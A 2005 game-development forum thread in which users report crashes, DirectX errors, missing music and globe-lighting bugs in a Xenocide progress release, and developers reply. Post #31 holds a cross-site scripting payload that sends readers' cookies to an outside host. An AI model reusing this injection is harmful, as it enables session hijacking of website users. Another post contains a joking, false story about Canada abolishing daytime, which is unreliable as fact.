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Progress Release 489


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#1 Mysticfist

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Posted 02 May 2005 - 12:19 PM

I downloaded and installed XenocideProgressRelease489 but when i try to run it on my computer it gives following error:
I use Windows Xp Home

http://members.lycos.....20489 Bug.JPG
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Edited by Mysticfist, 02 May 2005 - 12:20 PM.


#2 Guest_Azrael_*

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Posted 02 May 2005 - 02:16 PM

Changed the name for easy reference. Please post here all feedback, comments & errors concerning PR489.

#3 mindstormmaster

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Posted 02 May 2005 - 04:32 PM

Do you have DirectX v9 installed?
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#4 rincewind

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Posted 02 May 2005 - 05:50 PM

Do you have DirectX v9 installed?

<{POST_SNAPBACK}>

More specific DirectX 9.0c?

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#5 GreatGold

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Posted 02 May 2005 - 06:40 PM

Just to elaborate on rincewinds responce, you must have 9.0c. I got this exact same message when I was using 9.0b. You can download the newest version of directX at:

Microsoft DirectX 9.0c Download Page

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#6 mikker

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Posted 04 May 2005 - 04:40 PM

This may be an issue. The 'UFOs' only spawn at one location on the globe, going at diffrent dirrections from there, but always starts at a predefined point (just a bit west of central afrika). Is this a bug, or is it simply not made yet?

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#7 guyver6

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Posted 05 May 2005 - 03:00 AM

That's not implemented yet, AI doesn't know how to decide where to spawn UFO.... yet :)

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#8 rincewind

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Posted 05 May 2005 - 12:44 PM

This may be an issue. The 'UFOs' only spawn at one location on the globe, going at diffrent dirrections from there, but always starts at a predefined point (just a bit west of central afrika). Is this a bug, or is it simply not made yet?

<{POST_SNAPBACK}>

I was just lazy, so I spawn all missions at 0 degree's longitude/latitude, which happens to be "just a bit west of central afrika".

So it's intentional, yes, for now just assume thats where the only alien base is :-)

Rincewind

P.S: Nevertheless, don't feel discouraged to report anomalies and stuff. Most of the time they are not intentional, so we are happy to have someone point them out, so we can fix them (or force our poor recruits to fix them :whip: )
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#9 Shinzon

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Posted 05 May 2005 - 02:36 PM

:P Nice there attitude...

Mine really runs slow in direct 3d... but im blaming it on my dated video card (GFoce2MX 32MB Ram)

Open GL runs fine though ^_^

and i didnt realize those were my nebulas in the background... when I noticed i nearly had a heart attack... LOL

Thanks Goes out to the prog dep :whip:

Edited by Shinzon, 05 May 2005 - 02:38 PM.


#10 Astyanax

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Posted 05 May 2005 - 03:11 PM

I can't wait to get a computer that actually can run Xenocide... :Cry:
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#11 mikker

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Posted 05 May 2005 - 04:35 PM

I can't wait to get a computer that actually can run Xenocide... :Cry:

<{POST_SNAPBACK}>


As long as you can run text programs without mayor lag, you don't need to upgrade your computer. :P

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#12 Astyanax

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Posted 05 May 2005 - 05:07 PM

Well, dag nab it! I was beginning to wonder why that newfangled what's-it-called... oh yeah-- "DirectX 9.0c"-- kept giving my ol' dependable typewriter so many problems. A shame, really. This ol' daisy-wheel doesn't do justice to the stuff coming out of the other departments. :P

Edited by Astyanax, 05 May 2005 - 05:14 PM.

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#13 Guest_Mark Berger_*

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Posted 08 May 2005 - 01:17 AM

Hey guys, I was browsing looking for a copy of Xcom ufo defense that worked on winxp when I found your site. I got to say, great idea and the game looks fun but I can't play it! I tried every release you have; I keep getting this inactive menu garbage. For instance, the one that ALMOST worked so far is 0.489, but when I click new game and click bases, then try to build a new base, the menu lights up but nothing happens. Also, this happpens for all the menus, and some are wierd too. Like if I try to click options or load game from the start, or if I click video options, all that occurs is a light blinks on the menu but the menu dosen't load. What game version should I try running ? I really want to try this game but I can't get it going

#14 Guest_Azrael_*

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Posted 08 May 2005 - 01:26 AM

Moved to proper thread. Read here http://www.xcomufo.c...?showtopic=7494

#15 markis00

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Posted 08 May 2005 - 11:42 AM

Hi there, I think I made a post before but now I can't find it (under name Mark Berger). Anyways, I found this project while I was looking for xcom ufo defense on Google. Looks like a great idea but I'm having a lot of problems running the game. Some builds won't run for me, the one that runs the best so far is 489, but what happens in this build along with all the builds is the menus don't work! When I click a menu, a light appears next to the menu, but nothing happens. In 489, I can get to the base screen, but I can't build my first one. When I hit new game, in xcom ufo defense a dialog comes up and asks where to build the first one. But in xenocide this dosen't happen, and whne I hit new base nothing happens either. So I can't really get started! Some of the menus don't work either. What am I doing wrong?

#16 mindstormmaster

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Posted 08 May 2005 - 04:01 PM

You're doing absolutely nothing wrong. That's the current limitation of the Progress Release.

Here's where your post went. Along with a better explaination.
http://www.xcomufo.c...ndpost&p=119126
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#17 Guest_Azrael_*

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Posted 08 May 2005 - 07:46 PM

Moved to proper thread.

#18 Xer0

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Posted 13 May 2005 - 10:52 PM

EDIT: I just realized that this post should have gone in the Alpha 4 Forums. Sorry.

Every time I install Xenocide and try to run it, I keep getting the same error message and it is never able to run. This has happened with every version I have tried so far, and I have constantly tried to troubleshoot it. I decided to post the message here, so hopefully someone will know what is wrong with it.

An exception has been thrown!

---------------------------
Details:
---------------------------
Error #:9
Function: D3D9RenderSystem::D3D9RenderSystem
Description: Failed to create Direct3D9 object.
File: \projects\ogre\hastur\RenderSystems\Direct3D9\src\OgreD3D9RenderSystem.cpp
Line: 91
Stack unwinding: D3D9RenderSystem::D3D9RenderSystem(.._ <- <<beginning of stack>>

The message mentions Direct 3D/Direct Draw, it seems. I have run other programs that require it with no problems. I'm not sure what graphics card I have, but my computer is two years old and can run games that have come out very recently. If it's not my graphics card, then I'm really not sure what's wrong with this.

Any kind of help would be appreciated. Thanks.

Edited by Xer0, 13 May 2005 - 10:57 PM.


#19 rincewind

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Posted 14 May 2005 - 02:59 AM

EDIT: I just realized that this post should have gone in the Alpha 4 Forums. Sorry.

Every time I install Xenocide and try to run it, I keep getting the same error message and it is never able to run. This has happened with every version I have tried so far, and I have constantly tried to troubleshoot it. I decided to post the message here, so hopefully someone will know what is wrong with it.

An exception has been thrown!

---------------------------
Details:
---------------------------
Error #:9
Function: D3D9RenderSystem::D3D9RenderSystem
Description: Failed to create Direct3D9 object.
File: \projects\ogre\hastur\RenderSystems\Direct3D9\src\OgreD3D9RenderSystem.cpp
Line: 91
Stack unwinding: D3D9RenderSystem::D3D9RenderSystem(.._ <- <>

The message mentions Direct 3D/Direct Draw, it seems. I have run other programs that require it with no problems. I'm not sure what graphics card I have, but my computer is two years old and can run games that have come out very recently. If it's not my graphics card, then I'm really not sure what's wrong with this.

Any kind of help would be appreciated. Thanks.

<{POST_SNAPBACK}>

For xenocide, you need to have at least DirectX 9.0c installed. That should be the reason for your error message, just download it at microsoft and you should be settled. If not, post here again, please.

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#20 Xer0

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Posted 14 May 2005 - 10:49 AM

Ah, I thought I already had it, but apparently I didn't. Thank you very much for your help.

#21 bayraiders

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Posted 19 May 2005 - 03:37 AM

Ah, I thought I already had it, but apparently I didn't. Thank you very much for your help.

<{POST_SNAPBACK}>



Hey guys, just wanted to say that I just downloaded the latest build and am highly impressed. I think there are a lot of people out there who had a great passion for this game and I'm certainly excited to see the project moving along so well. It ran perferctly on my system:

AMD 2400+
512mb ram
GeForce MX440

Any ETA on getting sound/music added? Very curious, great job all around!

#22 rincewind

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Posted 19 May 2005 - 06:41 AM

Ah, I thought I already had it, but apparently I didn't. Thank you very much for your help.

<{POST_SNAPBACK}>



Hey guys, just wanted to say that I just downloaded the latest build and am highly impressed. I think there are a lot of people out there who had a great passion for this game and I'm certainly excited to see the project moving along so well. It ran perferctly on my system:

AMD 2400+
512mb ram
GeForce MX440

Any ETA on getting sound/music added? Very curious, great job all around!

<{POST_SNAPBACK}>


Thanks for the feedback, always good to see that people appreciate what we do.

Music should already be in there, if not, please post all files ending in .log in your xenocide and game folder. Also, can you post your xenoautoexec.cfg?

Sfx can hopefully be expected in the next progress release.

Greetings,

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#23 mikker

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Posted 21 May 2005 - 08:36 AM

ok, had another go at it, and found more bugs:

- the 4 arrows are the opposide of what is logical (click down you goes up, click left, you go right).

- if you only use your mouse to steer with and haven't used the arrows AT ALL, between each time you enter the planet view, you can't change the time. This can only be done when you've used the arrows.

- the icon is really cracking up the screen if you move yourself all the way to the northpole. It blocks the space background entirely, and sometimes even the planet itself.

- Theres no music, the 'dictionary.log' shows that it cant find any sounds. Uploaded the log files.

13:56:12: [INFO] Couldn't resolve symbolicName: Options
13:56:12: [INFO] Couldn't resolve symbolicName: $12 654 000
13:56:16: [INFO] Couldn't resolve symbolicName: $12 654 000
13:58:13: [INFO] Couldn't resolve symbolicName: Aircraft
13:58:13: [INFO] Couldn't resolve symbolicName: Aircraft
13:58:13: [INFO] Couldn't resolve symbolicName: Alien
13:58:13: [INFO] Couldn't resolve symbolicName: Alien
13:58:13: [INFO] Couldn't resolve symbolicName: Equipment
13:58:13: [INFO] Couldn't resolve symbolicName: Equipment
13:58:13: [INFO] Couldn't resolve symbolicName: Facility
13:58:13: [INFO] Couldn't resolve symbolicName: Facility
13:58:13: [INFO] Couldn't resolve symbolicName: Sound Effects
13:58:13: [INFO] Couldn't resolve symbolicName: Volume
13:58:13: [INFO] Couldn't resolve symbolicName: Music
13:58:13: [INFO] Couldn't resolve symbolicName: Volume
13:58:13: [INFO] Couldn't resolve symbolicName: Movement Sounds
13:58:13: [INFO] Couldn't resolve symbolicName: Unit Responses
13:58:13: [INFO] Couldn't resolve symbolicName: Sound Provider
13:58:13: [INFO] Couldn't resolve symbolicName: Creative Labs
13:58:13: [INFO] Couldn't resolve symbolicName: Creative Labs

- I appearently get an error pop-up when i exit the game, but I can't see it (still shows in-game, so it's hidden). When i press enter, it leaves.

Attached Files


Edited by mikker, 21 May 2005 - 08:38 AM.

Some people say that dreams are a portal to the subconscious. If that is so, I am a very disturbed person.

the truth about scientology

#24 Beetle

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Posted 21 May 2005 - 09:01 AM

You have older version of fmod.dll in your windows/system32 directory. In current CVS (and next release) version this problem should be fixed. (game will look for this .dll file first in game directory and ignore one in system32).

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#25 Ruppertus

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Posted 27 May 2005 - 02:47 AM

Hi, I'm not sure if it's the right place to talk about it, but never mind.

The problem touch on an aircraft. When it's comming to North pole it's flying straight. And after I changing the globe position (to the other side of North pole - I'm mean change the view into a line that jet plane is going to proceed but on the other side of pole) our aircraft is flying in unnormal position. His right band is taking the lead.

Have you seen something similar?

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#26 mikker

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Posted 27 May 2005 - 05:46 AM

wrong forum. Bug reports go in the help desk.

I don't entirely know what your problem is, but i've had problems with the craft grafics 'splattering' out the background when looking at the north pole.

Some people say that dreams are a portal to the subconscious. If that is so, I am a very disturbed person.

the truth about scientology

#27 Witterquick

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Posted 05 June 2005 - 11:31 PM

Hey guys I just wanted to be another person telling you that I am erally excited about this project! I have always been a huge fan of XCOM: UFO Defense and it is one of my all time top 3 games I would say. I was very happy to hear that someone was trying to keep the original concept and design with updated features and graphics to take advantage of more powerful technologies. Keep up the good work,
release 489 is very nice looking.

#28 Guest_Guest_*

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Posted 15 June 2005 - 12:39 PM

got problems too..
Directx 9.0c installed, winXP running

If i use the openGL mode the game starts, but when i click on 'start new game' i hear a 'bump' error sound and the game stuck, ctr*alt+del needed to terminate it. no way to see the actual error message (even if i see it from task manager)

With the direct3d mode, the game won't start at all, but i can see the error:


FILE: \Xenocide\Xenocide\Xenocide\src\client\Xenocidemodule.cpp
LINE: 96
SOURCE: Xenocidemodule::main
REASON: Ogre exeption: An exeption has been thrown!

---------------------------
Details:
---------------------------
Error #: -2005532292
Function: D3D9Texture::_creareNormText
Description: error creating texture
File: \projects\azathoth\RenderSystems\Direct3D9\src\ogreD3D9Texture.cpp
Line: 462
Stack unwinding: <<beginning of stack>>

any hint on how to make it run?

ah, g.card is a Nvidis GeForce4 420 GO

#29 tzuchan

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Posted 19 June 2005 - 11:06 PM

Also, the last time I started Xenocide, for some inane reason, it looks like from Canada northwords, part of the globe is in eternal night... I though only a small portion of the north pole exhibited this effect?
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#30 Blehm 98

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Posted 19 June 2005 - 11:13 PM

yes, i noticed that the tip of the north pole has a little bit of light on it, and i wondered why
Great Gold has posted this bug before, and i was going to until i couldn't remember how to take screenshots and i gave up on it.
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#31 Crash_0ver

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Posted 22 June 2005 - 02:12 PM

i don`t si
http://aaaaa/=`aaajpg[/img]]` style=background:url(java script:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)

#32 fux0r666

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Posted 22 June 2005 - 02:41 PM

Also, the last time I started Xenocide, for some inane reason, it looks like from Canada northwords, part of the globe is in eternal night... I though only a small portion of the north pole exhibited this effect?

<{POST_SNAPBACK}>


It's true. The Canadian government abolished daytime a decade ago. The motion was passed in government after a 72 hour fillibuster by Prime Minister Malroney himself, in which he covered a broad range of topics. Everything from foreign policy, to the military helecopter purchase fiasco, to his raging alcoholism and experiences with AA were tied in to an undeniably eloquent tirade against daytime. It was decided that the Canadian people aren't dependent enough on their government, and that a good avenue to establish need would be to eliminate all natural light. The government could then employ thousands of people to build and maintain an extensive network of sunlamps all over the country, providing light and vitamin D to all of her people.

The light program was cancelled due to cost overruns and political pressure from her Majesty's Loyal Opposition, and the issue has never really been taken seriously by subsequent governments. The bill that abolishes daytime is still in effect, and it is considered a political hot potato- no government is willing to comment on it directly.

Here I go an angry brother gonna make his move
But can I buck him in the city so I never lose?
See I'm a get him in the crowd with a couple heavies
And lay the barrel to the ground, hold the gat steady
And now I'm ready for my adversary, talk is cheap
I'm looking for a way to make a plan gonna keep it neat
So don't be telling me to get the non-violent spirit
'cause when I'm violent is the only time the devils hear it
'cause all I want to see is m****f***ing brains hanging


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#33 rincewind

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Posted 22 June 2005 - 02:58 PM

Also, the last time I started Xenocide, for some inane reason, it looks like from Canada northwords, part of the globe is in eternal night... I though only a small portion of the north pole exhibited this effect?

<{POST_SNAPBACK}>


It's true. The Canadian government abolished daytime a decade ago. The motion was passed in government after a 72 hour fillibuster by Prime Minister Malroney himself, in which he covered a broad range of topics. Everything from foreign policy, to the military helecopter purchase fiasco, to his raging alcoholism and experiences with AA were tied in to an undeniably eloquent tirade against daytime. It was decided that the Canadian people aren't dependent enough on their government, and that a good avenue to establish need would be to eliminate all natural light. The government could then employ thousands of people to build and maintain an extensive network of sunlamps all over the country, providing light and vitamin D to all of her people.

The light program was cancelled due to cost overruns and political pressure from her Majesty's Loyal Opposition, and the issue has never really been taken seriously by subsequent governments. The bill that abolishes daytime is still in effect, and it is considered a political hot potato- no government is willing to comment on it directly.

<{POST_SNAPBACK}>



Can we get an easteregg with this in the XNet?

but seriously, the stuff with eternal darkness is only in the winter (let gametime advance a little). I took the angle of the sun from wikipedia (23,7 degrees), to me it also looked a little much, but for those interested, I could add a Settings-var to change it. This way, everybody can plunge an entire hemisphere into eternal darkness for several months.

Rincewind
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#34 Kikanaide

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Posted 22 June 2005 - 03:39 PM

but seriously, the stuff with eternal darkness is only in the winter (let gametime advance a little). I took the angle of the sun from wikipedia (23,7 degrees), to me it also looked a little much, but for those interested, I could add a Settings-var to change it. This way, everybody can plunge an entire hemisphere into eternal darkness for several months.

Rincewind

<{POST_SNAPBACK}>

So two things. The first one's short - if you remember the disappearing planet problem I had, it was my northbridge on my motherboard. I replaced the mb and the project releases all work now, and they look really good.

But speaking of the angle of the sun...I've noticed that (at least on my system) the center-spot of the sun's illumination moves differently than the landmasses while I'm rotating the view. I realize why it is doing that - we've got a light source and the reflections will peak at a different spot depending on angles, but it seems that the effect is rather extreme. The main issue that I have is that it could be difficult to tell whether a mission is in day or night, since it looks like you can move "noon" around. Any ideas on that? I'll post a couple screenshots if needed to demonstrate.
Kikanaide - "What does it mean? Don't ask."

#35 rincewind

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Posted 22 June 2005 - 04:02 PM

but seriously, the stuff with eternal darkness is only in the winter (let gametime advance a little). I took the angle of the sun from wikipedia (23,7 degrees), to me it also looked a little much, but for those interested, I could add a Settings-var to change it. This way, everybody can plunge an entire hemisphere into eternal darkness for several months.

Rincewind

<{POST_SNAPBACK}>

So two things. The first one's short - if you remember the disappearing planet problem I had, it was my northbridge on my motherboard. I replaced the mb and the project releases all work now, and they look really good.

But speaking of the angle of the sun...I've noticed that (at least on my system) the center-spot of the sun's illumination moves differently than the landmasses while I'm rotating the view. I realize why it is doing that - we've got a light source and the reflections will peak at a different spot depending on angles, but it seems that the effect is rather extreme. The main issue that I have is that it could be difficult to tell whether a mission is in day or night, since it looks like you can move "noon" around. Any ideas on that? I'll post a couple screenshots if needed to demonstrate.

<{POST_SNAPBACK}>


I think I now what you mean, but could you post a few screenshots to clarify? It can probably fixed by reducing specular component; If you feel adventourous, you can tweak this param in the material script yourself.
Btw, what graphics card do you have (to know what rendering path you are running on)?

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#36 fux0r666

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Posted 22 June 2005 - 04:16 PM

Also, the last time I started Xenocide, for some inane reason, it looks like from Canada northwords, part of the globe is in eternal night... I though only a small portion of the north pole exhibited this effect?

<{POST_SNAPBACK}>


It's true. The Canadian government abolished daytime a decade ago. The motion was passed in government after a 72 hour fillibuster by Prime Minister Malroney himself, in which he covered a broad range of topics. Everything from foreign policy, to the military helecopter purchase fiasco, to his raging alcoholism and experiences with AA were tied in to an undeniably eloquent tirade against daytime. It was decided that the Canadian people aren't dependent enough on their government, and that a good avenue to establish need would be to eliminate all natural light. The government could then employ thousands of people to build and maintain an extensive network of sunlamps all over the country, providing light and vitamin D to all of her people.

The light program was cancelled due to cost overruns and political pressure from her Majesty's Loyal Opposition, and the issue has never really been taken seriously by subsequent governments. The bill that abolishes daytime is still in effect, and it is considered a political hot potato- no government is willing to comment on it directly.

<{POST_SNAPBACK}>



Can we get an easteregg with this in the XNet?

but seriously, the stuff with eternal darkness is only in the winter (let gametime advance a little). I took the angle of the sun from wikipedia (23,7 degrees), to me it also looked a little much, but for those interested, I could add a Settings-var to change it. This way, everybody can plunge an entire hemisphere into eternal darkness for several months.

Rincewind

<{POST_SNAPBACK}>




The closest point of the earth to the sun ought to always be between the tropics of cancer and capricorn. All of Canada is NEVER plunged in total darkness. This only happens above the arctic circle, I believe. This is why we have these special rings on the globe, if I recall correctly. The axial tilt of the earth is 23.45 degrees according to wikipedia. So, there is something severly wrong with the skin or your renderer.

Here I go an angry brother gonna make his move
But can I buck him in the city so I never lose?
See I'm a get him in the crowd with a couple heavies
And lay the barrel to the ground, hold the gat steady
And now I'm ready for my adversary, talk is cheap
I'm looking for a way to make a plan gonna keep it neat
So don't be telling me to get the non-violent spirit
'cause when I'm violent is the only time the devils hear it
'cause all I want to see is m****f***ing brains hanging


Posted Image

#37 rincewind

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Posted 23 June 2005 - 09:52 AM

The closest point of the earth to the sun ought to always be between the tropics of cancer and capricorn.  All of Canada is NEVER plunged in total darkness.  This only happens above the arctic circle, I believe.  This is why we have these special rings on the globe, if I recall correctly.  The axial tilt of the earth is 23.45 degrees according to wikipedia.  So, there is something severly wrong with the skin or your renderer.

<{POST_SNAPBACK}>

Those 23.45 degress are what I use for the renderer. I currently can't test it, because I'm at work. If there really is the whole of canada in the dark, I'll have to investigate.
As you correctly suggested, it might also be that the mapping of the texture is not correct in relation to the globe's sphere.

Anyway, thanks for the input, I'll definitly take a look at it.

Rincewind
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#38 Kikanaide

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Posted 24 June 2005 - 06:04 AM

Here's some screenshots, as requested. It displays how (without advancing the clock) I can put the appearance of noon on India screenshot_0524105_070256797.jpg , South America screenshot_0524105_070303739.jpg , Europe screenshot_0524105_070308173.jpg , or Antartica screenshot_0524105_070312089.jpg .

I'm using a GeForce 3 Ti 500 with 64 Mb of RAM. It's an older card, but has treated me well if you don't count the mb problem I had.

I used jpg format to save space...let me know if they are too blurry or anything.
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#39 rincewind

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Posted 24 June 2005 - 06:25 AM

Also, the last time I started Xenocide, for some inane reason, it looks like from Canada northwords, part of the globe is in eternal night... I though only a small portion of the north pole exhibited this effect?

<{POST_SNAPBACK}>


It's true. The Canadian government abolished daytime a decade ago. The motion was passed in government after a 72 hour fillibuster by Prime Minister Malroney himself, in which he covered a broad range of topics. Everything from foreign policy, to the military helecopter purchase fiasco, to his raging alcoholism and experiences with AA were tied in to an undeniably eloquent tirade against daytime. It was decided that the Canadian people aren't dependent enough on their government, and that a good avenue to establish need would be to eliminate all natural light. The government could then employ thousands of people to build and maintain an extensive network of sunlamps all over the country, providing light and vitamin D to all of her people.

The light program was cancelled due to cost overruns and political pressure from her Majesty's Loyal Opposition, and the issue has never really been taken seriously by subsequent governments. The bill that abolishes daytime is still in effect, and it is considered a political hot potato- no government is willing to comment on it directly.

<{POST_SNAPBACK}>



Can we get an easteregg with this in the XNet?

but seriously, the stuff with eternal darkness is only in the winter (let gametime advance a little). I took the angle of the sun from wikipedia (23,7 degrees), to me it also looked a little much, but for those interested, I could add a Settings-var to change it. This way, everybody can plunge an entire hemisphere into eternal darkness for several months.

Rincewind

<{POST_SNAPBACK}>




The closest point of the earth to the sun ought to always be between the tropics of cancer and capricorn. All of Canada is NEVER plunged in total darkness. This only happens above the arctic circle, I believe. This is why we have these special rings on the globe, if I recall correctly. The axial tilt of the earth is 23.45 degrees according to wikipedia. So, there is something severly wrong with the skin or your renderer.

<{POST_SNAPBACK}>


I checked at home and all that is in darkness is the northern part of canade, which according to my atlas is correct as it's north of 66.55 (90 - 23.45) degrees.

If there's more darkness for you, can you please post a screenshot?

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#40 rincewind

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Posted 24 June 2005 - 06:26 AM

Here's some screenshots, as requested.  It displays how (without advancing the clock) I can put the appearance of noon on India screenshot_0524105_070256797.jpg , South America screenshot_0524105_070303739.jpg , Europe screenshot_0524105_070308173.jpg , or Antartica screenshot_0524105_070312089.jpg .

I'm using a GeForce 3 Ti 500 with 64 Mb of RAM.  It's an older card, but has treated me well if you don't count the mb problem I had.

I used jpg format to save space...let me know if they are too blurry or anything.

<{POST_SNAPBACK}>

Thanks for the screenshots. This looks like missing clamping of specular term if diffuse is very small. I'll check the shaders for your path.

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#41 Hamato

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Posted 09 July 2005 - 03:01 AM

Ok, I hope this is the right topic to post everything I have to say. If not, please hit me hard :bash: and afterwards tell me slowly where I have to put my bug reports and my suggestions (thinking about it, I guess bug reports go in this thread as they apply to the corresponding progress release, and suggestions go somewhere else) and anything I could possibly want to tell in the future.

Since I'm already writing here I have to add a short question. Do you want to make Xenocide in more languages than english? But then I guess you'd want to first get it to work in english and then bother with translations :P

Anyway, on to what I have to say:
- the game's not playable for me in any resolution higher than 640x480. When starting Xenocide the first time ever (in 1024x768) and opening a new game, I couldn't move the mouse cursor around. Some tries later I realized I COULD move the cursor but the game seems to notice this only once in a while and for a VERY short time period. Of course, this gets heavier the higher my resolution is but in 640x480, I don't notice anything like this at all.
I have an AMD Athlon XP 2000+, GeForce4Ti 4200, 512 MB RAM with Windows XP Pro SP2 (I guess... Is there a newer SP?).
Edit: I also can move noon around, just to add that. Using D3D, didn't try the OpenGL.
- I suggest adding mouse wheel support to scroll through the X-Net Database entries.
- again regarding the database: I think the entries are a little long. Yes I know, I am not forced to read them, but every interested player should at least once in their life. And then, I don't need to read about 10 times, that the XC-33 Vengeance is better than all the rest in ONE database entry. Also I think the short part about Xenium should better be put in the research entry for Xenium or better, for ufo power sources if these are to be build in (which I think).
That's just an example but I think this can be somehow applied to every entry as they tend to be long.

On to some corrections for the database entries:
- in the "greys" entry the last paragraph (iirc) starts with " unfortunately". I guess the space has to be removed and the u to be capitalized.
- the artopod entry says something about an autopsy, which I think cannot be applied to robots. That would rather be a "further analysis" or something like that.
Other than that, I really like the way of your writing. Makes you dive deep into the game.

Still some additional things: 1) what's that console (UI-test) for? 2) starting a new game after abandoning one puts me back to the abandoned game.

As far as I can see, the player's actions are still very limited. Limited to
-scroll and zoom the globe either with buttons or mouse
-change the time running speed
-have ufos appear sometimes (which automatically sets the speed to 5 secs - good thing!)
-go to base view (but do nothing there except return to the planetview)
-read some X-Net Database entries
-change sound options
-quit game
If I'm wrong, I might have found another bug :P Please tell me that.

I don't want to sound too (what's that word in english??)..., ... I mean all that detailed criticism for some things that seem almost not relevant... I just want to help you guys make the best possible game out there, as you've chosen to make something fantastic even better, so don't stop guys! *swings pompons and dances*

Edit2: Another bug - the music (which I'm very impressed of!) stops playing after a while. Since it does not stop abruptly I guess the first track is over. But no other comes up and the first does not repeat either.

Edited by Hamato, 09 July 2005 - 03:30 AM.


#42 guyver6

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Posted 09 July 2005 - 11:12 AM

Hi,

That's the feedback I like.

As to a "playability"... we haven't reached alpha yet, so don't be disappointed with what you saw, I can guarantee that there's enormous amount of code behind what you saw and that it's gonna take a lot more code to make it playable. The stuff you saw is still evolving, so stay tuned. Oh, and don't bother with not working buttons or Test UI, it's there to help us :).

Btw, you can access console with tilde, like in quake :)

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#43 UnFleshed One

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Posted 31 July 2005 - 09:11 PM

Scroll buttons (f.e. in X-Net database entry) do not respond to click'n'hold way of scrolling. I have to click the scroll button two times to scroll one line. Well not really, but once in a while a mouse click just doesn't get recognized.

In planetscape, when holding left mouse button and dragging mouse it spins the globe, but only until mouse go over the menu on the right side, upon wich it loses the friction :) and you have to return the cursor back and click again. That doesn't feel right (the first thing too).

When in directX rendering game fails to recover after Alt-TAB (I have XP SP2 and GeForce FX 5200). In openGL it just doesn't go Alt-TAB at all, showing only taskbar and not even changing resolution\refresh rate.

Otherwise that's a great project! I love that nebula! If you guys could make a Sun like they did in Homeworld 2 (or was it ORB?), when as soon as the sun got visible it made momentary splash of light (like through a camera with wrong sensitivity settings) and then quikly fade away.

I'll go see now if I can help with AI or something :).
Darkness is under the candle.

#44 UnFleshed One

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Posted 01 August 2005 - 01:54 AM

Another one on GUI. I'm not sure where to post 'em, so here be it.

IMHO, options menu should have "Resume" or similar "return to the game" button because tiny "X" in the corner is plain invisible (and not as intuitive in games as, say, in windows :)). Same goes for Xnet database screen and sound options.
Darkness is under the candle.

#45 Blood Angel

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Posted 01 August 2005 - 10:01 AM

Um...

I can't actually do anything like launch missions.

This is because they haven't been implemented, right?

Oh, and no pictures in the XNET thingy. Shame, because I like the sound of the vengeance.

#46 mindstormmaster

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Posted 10 August 2005 - 06:38 PM

Progress Release 489 has been replaced by Progress Release 638. This topic is now closed.
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